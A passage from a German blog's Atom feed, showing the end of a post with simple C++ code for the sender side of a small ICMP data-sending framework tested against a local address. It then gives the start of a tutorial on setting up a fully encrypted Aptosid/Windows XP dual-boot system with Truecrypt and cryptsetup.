class="number"&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp keyword bold"&gt;class&lt;/code&gt; &lt;code class="cpp plain"&gt;PlainDataSender : &lt;/code&gt;&lt;code class="cpp keyword bold"&gt;public&lt;/code&gt; &lt;code class="cpp plain"&gt;DataSupply {&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp keyword bold"&gt;public&lt;/code&gt;&lt;code class="cpp plain"&gt;:&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp keyword bold"&gt;void&lt;/code&gt; &lt;code class="cpp plain"&gt;store(&lt;/code&gt;&lt;code class="cpp keyword bold"&gt;const&lt;/code&gt; &lt;code class="cpp plain"&gt;byte *data, uint len);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp keyword bold"&gt;void&lt;/code&gt; &lt;code class="cpp plain"&gt;dispatch(std::string host);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;byte getID() {&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp keyword bold"&gt;return&lt;/code&gt; &lt;code class="cpp plain"&gt;PLAINDATASENDER_ID;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp keyword bold"&gt;private&lt;/code&gt;&lt;code class="cpp plain"&gt;:&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;std::vector&amp;lt;byte&amp;gt; storage;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp plain"&gt;};&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span style="text-decoration: underline;"&gt;&lt;i&gt;PlainDataSender.cpp&lt;br /&gt;&lt;/i&gt;&lt;/span&gt; &lt;br /&gt;&lt;div class="syntaxhighlighter  cpp" id="highlighter_91963"&gt;&lt;div class="bar                       "&gt;&lt;div class="toolbar"&gt;&lt;a class="item viewSource" href="http://opcodez.wordpress.com/2010/09/26/vorstellung-der-senderseite-des-icmpframeworks/#viewSource" style="height: 16px; width: 16px;" title="zeige Quellcode"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a class="item about" href="http://opcodez.wordpress.com/2010/09/26/vorstellung-der-senderseite-des-icmpframeworks/#about" style="height: 16px; width: 16px;" title="?"&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="lines"&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp preprocessor"&gt;#include "PlainDataSender.h"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp keyword bold"&gt;void&lt;/code&gt; &lt;code class="cpp plain"&gt;PlainDataSender::store(&lt;/code&gt;&lt;code class="cpp keyword bold"&gt;const&lt;/code&gt; &lt;code class="cpp plain"&gt;byte *data, uint len) {&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp keyword bold"&gt;for&lt;/code&gt; &lt;code class="cpp plain"&gt;(&lt;/code&gt;&lt;code class="cpp color1 bold"&gt;int&lt;/code&gt; &lt;code class="cpp plain"&gt;i = 0; i &amp;lt; len; i++)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;storage.push_back(data[i]);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp plain"&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp keyword bold"&gt;void&lt;/code&gt; &lt;code class="cpp plain"&gt;PlainDataSender::dispatch(std::string host) {&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;uint packetsize = PACKETSIZE;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;uint done = 0, toDo = storage.size();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp keyword bold"&gt;while&lt;/code&gt; &lt;code class="cpp plain"&gt;(done &amp;lt; toDo) {&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp keyword bold"&gt;if&lt;/code&gt; &lt;code class="cpp plain"&gt;(toDo - done &amp;lt; packetsize)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;packetsize = toDo - done;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;insertData((byte *)(&amp;amp;storage[0] + done), packetsize);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;done += packetsize;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;18&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;19&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;storage.clear();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;20&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;dispatchStorage(host);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;21&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp plain"&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Diese Klasse implementiert also mithilfe des Frameworks einen einfachen „buffernden“ Datensender. &lt;b&gt;Die ID, die oben definiert ist, dient dazu den Sendertyp dem passenden Empfänger zuzuordnen.&lt;/b&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;&lt;i&gt;main.cpp&lt;br /&gt;&lt;/i&gt;&lt;/span&gt; &lt;br /&gt;&lt;div class="syntaxhighlighter  cpp" id="highlighter_234979"&gt;&lt;div class="bar           "&gt;&lt;div class="toolbar"&gt;&lt;a class="item viewSource" href="http://opcodez.wordpress.com/2010/09/26/vorstellung-der-senderseite-des-icmpframeworks/#viewSource" style="height: 16px; width: 16px;" title="zeige Quellcode"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a class="item about" href="http://opcodez.wordpress.com/2010/09/26/vorstellung-der-senderseite-des-icmpframeworks/#about" style="height: 16px; width: 16px;" title="?"&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="lines"&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp preprocessor"&gt;#include "PlainDataSender.h"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp color1 bold"&gt;int&lt;/code&gt; &lt;code class="cpp plain"&gt;main() {&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;PlainDataSender i;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;string a = &lt;/code&gt;&lt;code class="cpp string"&gt;"Hallo, Test"&lt;/code&gt;&lt;code class="cpp plain"&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;i.store((byte *)a.c_str(), a.length());&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;i.store((byte *)a.c_str(), a.length());&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp plain"&gt;i.dispatch(&lt;/code&gt;&lt;code class="cpp string"&gt;"192.168.0.101"&lt;/code&gt;&lt;code class="cpp plain"&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="cpp keyword bold"&gt;return&lt;/code&gt; &lt;code class="cpp plain"&gt;0;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp plain"&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Mit diesem Code kommt also zwei mal „Hallo, Test“ an. Garantiert &lt;img alt=";)" class="wp-smiley" src="http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif?m=1293299821g" /&gt; &lt;br /&gt;So viel zur kleinen Vorschau zum Framework. Ich hoffe ich werde die  Empfängerseite (die übrigens für Linux ausgelegt ist) morgen fertig  stellen können, und dann das Framework hier weiter im Detail vorstellen  und veröffentlichen können.&lt;br /&gt;&lt;br /&gt;~fred&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-1015900430717285599?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/1015900430717285599/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://netzwerg.blogspot.com/2011/04/vorstellung-der-senderseite-des.html#comment-form' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/1015900430717285599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/1015900430717285599'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/vorstellung-der-senderseite-des.html' title='Vorstellung der Senderseite des ICMPFrameworks'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-ZDnamwdQeJQ/TaFONhXXBII/AAAAAAAAAAM/EDmCtBWjGMI/s72-c/klassen.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-8812800759800686418</id><published>2011-04-09T08:46:00.001-07:00</published><updated>2011-04-10T00:09:37.539-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Vollverschlüsseltes Dualboot-System mit Aptosid/Debian und WindowsXP</title><content type='html'>Wer kennt dieses Dilemma nicht? Zum einen möchte man ein Linux-System  nutzen, doch andererseits braucht man hin und wieder auch Windows, sei  es zum Spielen, zum Programmieren oder aus welchem Grund auch immer.  Kein Problem, dafür gibt es ja Dualbootsysteme.&lt;br /&gt;Doch was ist dann mit der Sicherheit? Irgendwie will man seine Daten  auch effektiv vor Diebstahl, seinen neugierigen  Mitbewohnern/Freunden/Eltern und seiner Paranoia schützen, aber in einer  Dualboot-Umgebung ist das alles etwas komplizierter als einfach mit  Truecrypt (oder per Bitlocker xD *scnr*) unter Windows alles automatisch  verschlüsseln zu lassen.&lt;br /&gt;Weil ich bisher nichts vergleichbares für Aptosid gefunden habe, werde ich in dieser ausführlichen Anleitung ein &lt;b&gt;Dual-Boot-System&lt;/b&gt; mit &lt;b&gt;Aptosid&lt;/b&gt; (ehemals Sidux) und &lt;b&gt;WindowsXP&lt;/b&gt;  Pro erstellen (es funktioniert auch mit anderesn Distributionen, siehe  weiter unten). Die Besonderheit wird sein, dass beide Betriebssysteme &lt;b&gt;komplett verschlüsselt&lt;/b&gt; werden. Eine weitere Besonderheit ist das Nutzen einer &lt;b&gt;swap-Partition&lt;/b&gt;, die unter Linux die Performance erhöhen kann und uns erlaubt, in den Ruhezustand (Hibernate) zu gehen.&lt;br /&gt;In diesem Fall werde ich die Linux-Partitionen &lt;b&gt;&lt;span style="text-decoration: underline;"&gt;ohne&lt;/span&gt; LVM&lt;/b&gt;  erstellen. Dies verbietet uns zwar leider später, die Partitionsgrößen  nachträglich zu ändern, aber ich persönlich finde es übersichtlicher.  Zudem ist das Vorgehen dadurch weniger kompliziert.&lt;br /&gt;Im Gegensatz zu einigen anderen Anleitungen, die ich gefunden habe, ist beim Booten der Linux-Partition &lt;b&gt;nur ein Passwort&lt;/b&gt; notwendig, obwohl eine swap-Partition verwendet wird.&lt;br /&gt;Ich habe dieses Tutorial recht ausführlich geschrieben, damit beim  Befolgen nicht nur stumpf abgeschrieben wird, sondern das Vorgehen im  Idealfall auch verstanden wird. Somit können gerade Anfänger auch besser  auf Abweichungen reagieren, die z.B. durch eine andere oder aktuellere  Distribution(sversion) entstehen.&lt;br /&gt;Grundlegende Linux-Basics (Partitionierung, Arbeiten in der Shell,  Bearbeiten von Dateien etc) sollten aber vorhanden bzw. bei Bedarf  anzueignen sein. Dabei empfiehlt sich immer ein Blick in die  Ubuntuusers-Wiki, in der alles recht ausführlich und anfängerfreundlich  beschrieben ist.&lt;span id="more-496"&gt;&lt;/span&gt;Ich habe diese Anleitung mit folgenden Komponenten getestet:&lt;br /&gt;&lt;div style="padding-left: 30px;"&gt;Aptosid 2011-01 XFCE i686 (vom 6. Februar)&lt;br /&gt;WindowsXP Professional SP3 Corporate Version (unverändert)&lt;br /&gt;Truecrypt 7.0a&lt;br /&gt;cryptsetup 1.13&lt;/div&gt;Im Prinzip kann man das folgende auch mit einer anderen aktuellen  Distribution durchführen. Allerdings sollte klargestellt werden, dass  cryptsetup installiert ist und die benötigten Module ggf via modprobe  geladen sind. Unter Ubuntu und Debian funktioniert es einwandfrei, nur  der Part mit dem Installieren der Distribution unterscheidet sich  natürlich, da meist verschiedene Installer genutzt werden.&lt;br /&gt;&lt;div style="padding-left: 30px;"&gt;&lt;b&gt;Folgende Dinge sollten erledigt bzw vorhanden sein:&lt;/b&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Sicherung aller alten wichtigen Daten auf der Festplatte, da diese komplett überschrieben wird&lt;/li&gt;&lt;li&gt;Danach am besten Platte mehrfach überschreiben (shred bietet sich an, kann auch mit aptosid-LiveCD durchgeführt werden)&lt;/li&gt;&lt;li&gt;LiveCD von aptosid (bzw anderer Distribution)&lt;/li&gt;&lt;li&gt;Windows XP-CD&lt;/li&gt;&lt;li&gt;Treiber für Windows (vor allem Ethernet)&lt;/li&gt;&lt;li&gt;CD-Rohling und Brenner für Truecrypt-Rescue-CD&lt;/li&gt;&lt;li&gt;Internetverbindung (per Kabel) zum Download von Programmen, Austausch von Daten o.ä.&lt;/li&gt;&lt;li&gt;Konzentration und Zeit&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Vorher solltet ihr euch auch darüber im Klaren sein, welche  Festplatteneinteilung ihr haben wollt. Bei einem Dualbootsystem bietet  es sich an, für Windows und Linux jeweils nur eine effektive  Datenpartition einzurichten. Ich habe meine 250GB-Platte folgendermaßen  eingeteilt:&lt;br /&gt;&lt;pre class="brush:plain;gutter:false"&gt;Name       Filesystem  Für was?  Größe&lt;br /&gt;/dev/sda1  ntfs        Windows   ~120GB        | Windows komplett&lt;br /&gt;/dev/sda2  ext4        /boot     ~300MB        | Hier wird unter Bootloader liegen&lt;br /&gt;/dev/sda3  swap        /swap     siehe unten   | Swap-Partition, vergleichbar mit der Auslagerungsdatei&lt;br /&gt;/dev/sda4  ext4        /         &amp;lt;Rest&amp;gt;        | Unser eigentliches Linux-System&lt;/pre&gt;Macht euch selbst eure Gedanken darüber, wie groß die Partitionen sein sollen.&lt;br 